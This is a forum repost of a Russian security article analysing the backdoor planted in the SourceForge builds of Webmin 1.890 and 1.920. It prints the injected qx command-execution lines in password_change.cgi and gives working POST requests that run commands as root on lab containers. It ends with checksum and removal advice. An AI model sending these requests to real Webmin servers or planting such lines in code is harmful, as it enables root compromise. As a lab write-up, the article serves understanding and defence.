Хакер - Лазейка в Webmin. Как работает бэкдор в панели управления сервером

Регистрация
08.12.2019
Сообщения
21
Оценка реакций
9
Содержание статьи
  • Стенд
  • Детали
  • Демонстрация уязвимости (видео)
  • Заключение
В популярной панели управления сервером

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

обнаружилась уязвимость, которая больше всего похожа на оставленную кем-то закладку. Атакующий в результате может выполнять произвольный код на целевой системе с правами суперпользователя. Давай посмотрим, как это работает, в чем заключается проблема и как с ней бороться.
Webmin полностью написан на Perl, без использования нестандартных модулей. Он состоит из простого веб-сервера и нескольких скриптов — они связывают команды, обеспечивающие исполнение команд, которые пользователь отдает в веб-интерфейсе, на уровне операционной системы и внешних программ. Через веб-админку можно создавать новые учетные записи пользователей, почтовые ящики, изменять настройки служб и разных сервисов и все в таком духе.
Уязвимость находится в модуле восстановления пароля. Манипулируя параметром old в скрипте password_change.cgi, атакующий может выполнять произвольный код на целевой системе с правами суперпользователя, что наводит на мысли об умышленном характере этого бага. Что еще подозрительнее — проблема присутствует только в готовых сборках дистрибутива с SourceForge, а в исходниках на GitHub ее нет.
Стенд
Для демонстрации уязвимости нам понадобятся две версии дистрибутива Webmin — 1.890 и 1.920, так как тестовые окружения для них немного различаются.
Для этого воспользуемся двумя контейнерами Docker.
$ docker run -it --rm -p10000:10000 --name=webminrce18 --hostname=webminrce18.vh debian /bin/bash
$ docker run -it --rm -p20000:10000 --name=webminrce19 --hostname=webminrce19.vh debian /bin/bash

Теперь установим необходимые зависимости.
$ apt-get update -y && apt install -y perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl nano wget python apt-show-versions

Во время установки apt-show-versions у меня возникла проблема (на скриншоте ниже).

Следующие команды помогают ее устранить:
$ apt-get purge -y apt-show-versions
$ rm /var/lib/apt/lists/*lz4
$ apt-get -o Acquire::GzipIndexes=false update -y
$ apt install -y apt-show-versions

После этого скачиваем соответствующие версии дистрибутивов с SourceForge.
$ wget

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


$ wget

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



И устанавливаем их.
$ dpkg --install webmin_1.890_all.deb
$ dpkg --install webmin_1.920_all.deb


Теперь запускаем демоны Webmin.
$ service webmin start

Версия 1.890 доступна на дефолтном порте 10000, а 1.920 — на 20000.

Осталось только установить пароль для пользователя root при помощи команды passwd, и стенды готовы. Переходим к деталям уязвимости.
Детали
Сначала разберемся с версией 1.920. Проблема — в функции смены пароля, а сама она находится в файле password_change.cgi. Так как проблема затронула только версию приложения с SourceForge, можно легко узнать, в чем разница с той, что лежит на GitHub.

Видим, что добавлен вызов функции qx.
webmin-1.920-github/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});

webmin-1.920-sourceforge/password_change.cgi
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Интересные изменения. Но не будем спешить, сначала разберемся, как добраться до этой части кода.
В начале скрипта проверяется, какой режим парольной политики выбран в настройках.
password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

Авторизуемся в панели управления Webmin как root и зайдем в настройки аутентификации (Webmin → Webmin Configuration → Authentication), здесь нужно найти пункт Password expiry policy и установить его в Prompt users with expired passwords to enter a new one.

Теперь переменная passwd_mode имеет значение 2, что можно проверить в конфигурационном файле, и выполнение скрипта не будет прерываться на строке 12.

Чтобы наглядно увидеть форму для изменения пароля, давай перейдем в раздел редактирования пользователей и создадим тестового юзера. Здесь установим опцию Force change at next login.

Теперь при авторизации от его имени система попросит установить новый пароль. Данные этой формы как раз и будут отправлены на скрипт password_change.cgi.

Итак, заполним форму, отправим и перехватим запрос. Теперь возвращаемся к скрипту. Массив $in содержит пользовательские данные, которые передаются в теле запроса POST.
password_change.cgi
15: $in{'new1'} ne '' || &pass_error($text{'password_enew1'});
16: $in{'new1'} eq $in{'new2'} || &pass_error($text{'password_enew2'});

Здесь проверяется, что новый пароль установлен (переменная new1) и он оба раза введен верно (new1 == new2).
Далее Webmin выполняет проверку на наличие и возможность использования модуля acl (access-control list).
password_change.cgi
19: if (&foreign_check("acl")) {

Если такой модуль есть, то подгружаем его.
20: &foreign_require("acl", "acl-lib.pl");

Из названия понятно, что модуль работает со списком управления доступом. Он выполняет разные операции с пользователями: редактирование, изменение паролей и прав.
Скрипт выбирает из списка пользователей юзера, которому нужно установить новый пароль. Имя пользователя берется из поля user формы смены пароля.
password_change.cgi
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users();

Давай немного поиграем в тестировщиков и посмотрим на переменную $wuser. Для этого нужно добавить в скрипт включение модуля

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, после чего можно будет выводить информацию о переменных при помощи конструкции Dumper($var_name).
password_change.cgi
6: use Data::Dumper;
...
21: ($wuser) = grep { $_->{'name'} eq $in{'user'} } &acl::list_users(); print Dumper($wus


В Webmin пользователи бывают двух типов: системные, которые существуют непосредственно в ОС, и внутренние юзеры приложения. Список системных пользователей в Linux ты можешь найти в файле /etc/passwd, именно из него и берет информацию Webmin. Поэтому у таких пользователей свойство pass будет иметь значение x.

Если мы будем использовать такого юзера в форме смены пароля, то это не позволит нам попасть в нужное условие и добраться до нужного участка кода.
$wuser = {
'name' => 'root',
'pass' => 'x',
'readonly' => undef,
'lastchange' => '',
'real' => undef,
'twofactor_apikey' => undef,
'lang' => 'ru.UTF-8',
...
};

password_change.cgi
22: if ($wuser->{'pass'} eq 'x') {
23: # A Webmin user, but using Unix authentication
24: $wuser = undef;
25: }
...
37: if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Если ты поставишь вывод значения переменной прямо перед условием, то увидишь, что при попытке изменить пароль системному пользователю она будет иметь значение undef.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});


Однако не все так плохо. Если указать несуществующего пользователя, то переменная станет пустой, но не неопределенной. И в таком случае условие if ($wuser) будет считаться истиной.
password_change.cgi
37: print Dumper($wuser); if ($wuser) {
38: # Update Webmin user's password
39: die 'We are here!'; $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});


Здесь старый пароль, который мы передали в форме, сравнивается с текущим паролем пользователя. Естественно, эта часть выражения будет ложной, так как никакого пользователя nonexistentuser не существует. Поэтому выполняется вторая часть условия, где выводится сообщение об ошибке, а к нему добавляется то, что вернет конструкция qx/$in{'old'}/.
password_change.cgi
37: if ($wuser) {
...
39: $enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
40: $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);

Что же это за функция —

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

? Это альтернатива использованию обратных кавычек для выполнения системных команд. В качестве разделителей можно использовать любые символы, в нашем случае это /. То есть, проще говоря, будет выполнена команда, которая передана в качестве старого пароля (old) пользователя.
Давай протестируем это и попробуем передать, например, uname -a.
POST /password_change.cgi HTTP/1.1
Host: webminrce19.vh:20000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



user=nonexistentuser&pam=1&expired=2&old=uname+-a&new1=any&new2=any


Вуаля! Команда была выполнена, и pass_error любезно предоставила результат ее работы на экране.
Таким образом, если парольная политика Webmin 1.920 разрешает запрашивать новые аутентификационные данные у пользователей с просроченными паролями, то при такой конфигурации возможно удаленное выполнение команд от имени суперпользователя.
С этой версией разобрались, теперь перейдем к более старой 1.890.
Снова сравним файл password_change.cgi из двух источников.

webmin-1.890-github/password_change.cgi
12: $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";

webmin-1.890-sourceforge/password_change.cgi
12: $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;

Здесь есть похожая конструкция с qx — qx/$in{'expired'}/, только на этот раз она была использована еще более дерзко.
Сначала обращаю твое внимание на то, что вместо проверки парольной политики используется простая проверка переменной $in{'expired'} на то, не пустая ли она. Так как $in — это пользовательские данные из запроса, то обойти эту проверку не составит никакого труда. Для этого достаточно указать любое значение в параметре expired при запросе к скрипту. К тому же данные из этого параметра и являются тем, что будет выполнено. Поэтому просто указываем необходимую команду.
POST /password_change.cgi HTTP/1.1
Host: webminrce18.vh:10000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Referer:

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



expired=id

И сервер вернет результат ее выполнения.

Заключение
Сегодня мы узнали, что не стоит слепо доверять даже таким источникам, как

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Если есть несколько способов скачать приложения, то можно сверить их контрольные суммы. А если ты ставишь дистрибутив на сервер, где будет идти работа с важными данными, то этот пункт становится еще актуальнее.
Если ты сам разработчик, то почаще проверяй, что ты загружаешь на разные ресурсы: версии не должны расходиться. А еще лучше использовать какое-то средство автоматического аудита исходников, которое предупредит о подозрительных находках. Это, конечно, не панацея, но в таких случаях может выручить.
Если же ты уже используешь Webmin и хочешь избавиться от описанной закладки, то это просто. Достаточно удалить вызов функции qx, а также вернуть проверку passwd_mode в Webmin версии 1.890.
Если хочешь побольше узнать о том, как получилось, что бэкдор попал в релиз дистрибутива, рекомендую ознакомиться с

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

событий, написанной разработчиками Webmin.
 
  • Like
Реакции: ev0117434 и Admin